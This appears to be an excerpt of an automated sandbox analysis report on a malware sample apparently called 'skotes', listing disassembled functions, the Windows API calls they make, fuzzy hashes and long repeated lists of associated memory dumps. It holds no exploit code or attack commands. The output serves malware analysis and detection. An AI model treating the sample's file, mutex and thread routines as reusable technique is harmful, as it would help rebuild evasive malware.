Opcode Fuzzy Hash: 348ee2f0b21350fcce89177124954e1a6e6cf7e7c1c93ea3cd70efcfb98c9a79
Instruction Fuzzy Hash: E6E11670E006549BDF15BB68CC5B7AD7B62AB52724F94028CE8156B3C2DB748F808FC2

Function 001C1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001C1775: CreateFileW.KERNEL32(00000000,00000000,?,001C1B65,?,?,00000000,?,001C1B65,00000000,0000000C), ref: 001C1792

__dosmaperr.LIBCMT ref: 001C1BD7
GetFileType.KERNEL32(00000000), ref: 001C1BE3
__dosmaperr.LIBCMT ref: 001C1BF6
__dosmaperr.LIBCMT ref: 001C1D9C

Strings

H, xrefs: 001C1D21

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: b8b8b1253d341b8d6dc903bee769bee0c5c635fd9e9ad452fcf6b47dea9c3c50
Instruction ID: a1e46c40c7e29c0b6d384c6969e0c23f83e5a6167bd89d9055eace6fda3ec949
Opcode Fuzzy Hash: b8b8b1253d341b8d6dc903bee769bee0c5c635fd9e9ad452fcf6b47dea9c3c50
Instruction Fuzzy Hash: 88A11732A441589FDF19AF68C891BAE3BB1AB67324F24014DF812AF2D2D735DD12CB51

Function 00187590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,116DAFBE,?,00000000,001C9138,000000FF), ref: 001875CC
CreateThread.KERNEL32(00000000,00000000,00187430,001E8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001876BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001876C9

Part of subcall function 0019D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0019D17B

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 82e38aab43faa252f494b5ab5eaa69dd3e876e8ff9e3749cb481c3c0a7741111
Instruction ID: 99c23284b1c36c6a3674589430ee27bc6bb02f428cd7924cc3c34a069740a6f4
Opcode Fuzzy Hash: 82e38aab43faa252f494b5ab5eaa69dd3e876e8ff9e3749cb481c3c0a7741111
Instruction Fuzzy Hash: 4751F071200288ABEB14DF68DCC9F9C3BA1EB58704F644619F8189B7D1CB7AD580CF91

Function 001B6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,001B6EE6), ref: 001B6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 001B7030
__dosmaperr.LIBCMT ref: 001B70C5

Part of subcall function 001B732A: __dosmaperr.LIBCMT ref: 001B735F

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 080084e21d134ebae79d91aa9fd197d6d5f551a14bed73b667b31d4c1c34a51e
Instruction ID: 23e9aefec82429fc44ad481e109301fe25956fffbe4d1fb59706d7040d92c59a
Opcode Fuzzy Hash: 080084e21d134ebae79d91aa9fd197d6d5f551a14bed73b667b31d4c1c34a51e
Instruction Fuzzy Hash: 2C414BB1904204ABDB24EFB5DC459EFB7F9EF89300B10492AF956D3690E730A940DB61

Function 00189BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00189BA8
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7ee6bfa0d0acdcf9e40d9a130ef835b6eec8fdf188a076d5a5cb30b25edbd8b9
Instruction ID: a1901d171d1d0b148ba7ef7c43430c595630e2639a140d68d4b6d8a0bdcda531
Opcode Fuzzy Hash: 7ee6bfa0d0acdcf9e40d9a130ef835b6eec8fdf188a076d5a5cb30b25edbd8b9
Instruction Fuzzy Hash: F0316A71A042048BFB08ABB8DDC9B7DB7A2EFC1314F648219E1149B3E5C7765B808B51

Function 00189CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00189CDD
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 94d409d2aa68a9d0e7e9eded3ca1a23eff76b33011515c6702601a882d84fd3a
Instruction ID: a0ae30e6829250af237d40b807a0f1a6f528f5bac3374333186da7cdfb95c0d9
Opcode Fuzzy Hash: 94d409d2aa68a9d0e7e9eded3ca1a23eff76b33011515c6702601a882d84fd3a
Instruction Fuzzy Hash: 0C316A71A081409BFF08EBB8DDC87BDB7A2DFC5314F284219E114973D5C7355A808B11

Function 00189F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00189F47
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
